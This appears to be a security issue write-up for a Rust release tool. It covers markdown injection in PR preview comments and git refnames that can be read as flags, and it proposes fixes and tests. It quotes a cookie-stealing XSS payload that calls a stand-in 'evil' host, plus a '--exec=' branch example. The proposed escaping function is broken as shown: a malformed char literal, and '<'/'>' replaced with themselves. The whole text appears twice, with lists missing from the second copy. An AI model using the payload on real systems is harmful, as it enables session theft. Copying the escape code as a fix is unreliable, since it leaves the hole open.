Two concrete injection vectors found in the audit pass post-gix-migration.
1. Preview PR comment markdown injection
`src/monorepo/preview.rs::format_preview_comment` (lines 72-89) builds a GitHub-flavored markdown table by directly interpolating package name, version, and bump type:
```rust
body.push_str(&format!(
"| {} | `{}` | `{}` | {} |\n",
pkg.name, pkg.current_version, pkg.next_version, pkg.bump_type
));
```
Adversary control:
- `pkg.name` comes from the user's `.ferrflow` config — fully attacker-controlled when ferrflow runs on a PR build of an open-source repo (which is the default install pattern).
- `pkg.current_version` / `pkg.next_version` are read from version files (`package.json`, `Cargo.toml`, etc.) on the PR's HEAD — also attacker-controlled.
Concrete attacks:
- Package name `foo|<img src=x onerror=fetch('https://evil/'+document.cookie)>\` — markdown renderers strip raw HTML on github.com but custom forge installs (Gitea, Forgejo) often don't.
- Package name `foo](https://evil)foo\` — breaks out of the table, injects an arbitrary link.
- Package name containing a newline → breaks out of the table row entirely; the rest of the body becomes attacker-controlled markdown.
2. Branch / tag / package-name shell metachar validation
The audit (#489 item 6) flagged this but didn't land in #505. Specifically:
- Branch / tag names that start with `-` (e.g. `--system`, `--exec=…`) can be re-interpreted as a flag by some git versions. Most of our shell-out passes refnames as positional args separated by `--`, but several call sites don't (`src/git/push.rs::resolve_push_source`, `src/git/push.rs::fetch_and_rebase` and reset, `src/git/tags.rs::create_tag`).
- Package names containing `/` are legitimately supported (tag-template), but newlines / control chars / NUL bytes have no use case and currently flow into formatted strings unchecked.
Fix
Markdown escaping
```rust
fn escape_md_cell(s: &str) -> String {
s.replace('\', "\\\\")
.replace('|', "\|")
.replace('\n', " ")
.replace('<', "<")
.replace('>', ">")
}
```
Apply to every interpolation in `format_preview_comment`.
Refname validation
New `src/git/validate.rs::is_valid_refname` (or use `gix-validate::reference::name` — already a transitive dep). Reject before passing to `git` subprocess:
```rust
pub fn is_valid_refname(name: &str) -> bool {
!name.is_empty()
&& !name.starts_with('-')
&& !name.contains('\n')
&& !name.contains('\0')
&& gix_validate::reference::name(name.into()).is_ok()
}
```
Call sites to harden:
- `create_tag`, `create_or_move_tag`, `tag_exists`
- `push_branch`, `verify_remote_branch`, `fetch_and_rebase`, `reset_branch_to_remote`
- `create_branch_and_commit(s)`
- `resolve_current_branch` (output)
Test plan
- Markdown: package name with `|`, `<script>`, `](evil)`, newline → all escaped, table structure preserved
- Refname: branch `--exec=ls` rejected at config-load time, not at git invocation time
Related #489 (security umbrella — these items were in the list but split off so they get a smaller, reviewable PR).
Two concrete injection vectors found in the audit pass post-gix-migration.
1. Preview PR comment markdown injection
`src/monorepo/preview.rs::format_preview_comment` (lines 72-89) builds a GitHub-flavored markdown table by directly interpolating package name, version, and bump type:
```rust
body.push_str(&format!(
"| {} | `{}` | `{}` | {} |\n",
pkg.name, pkg.current_version, pkg.next_version, pkg.bump_type
));
```
Adversary control:
Concrete attacks:
2. Branch / tag / package-name shell metachar validation
The audit (#489 item 6) flagged this but didn't land in #505. Specifically:
Fix
Markdown escaping
```rust
fn escape_md_cell(s: &str) -> String {
s.replace('\', "\\\\")
.replace('|', "\|")
.replace('\n', " ")
.replace('<', "<")
.replace('>', ">")
}
```
Apply to every interpolation in `format_preview_comment`.
Refname validation
New `src/git/validate.rs::is_valid_refname` (or use `gix-validate::reference::name` — already a transitive dep). Reject before passing to `git` subprocess:
```rust
pub fn is_valid_refname(name: &str) -> bool {
!name.is_empty()
&& !name.starts_with('-')
&& !name.contains('\n')
&& !name.contains('\0')
&& gix_validate::reference::name(name.into()).is_ok()
}
```
Call sites to harden:
Test plan
Related #489 (security umbrella — these items were in the list but split off so they get a smaller, reviewable PR).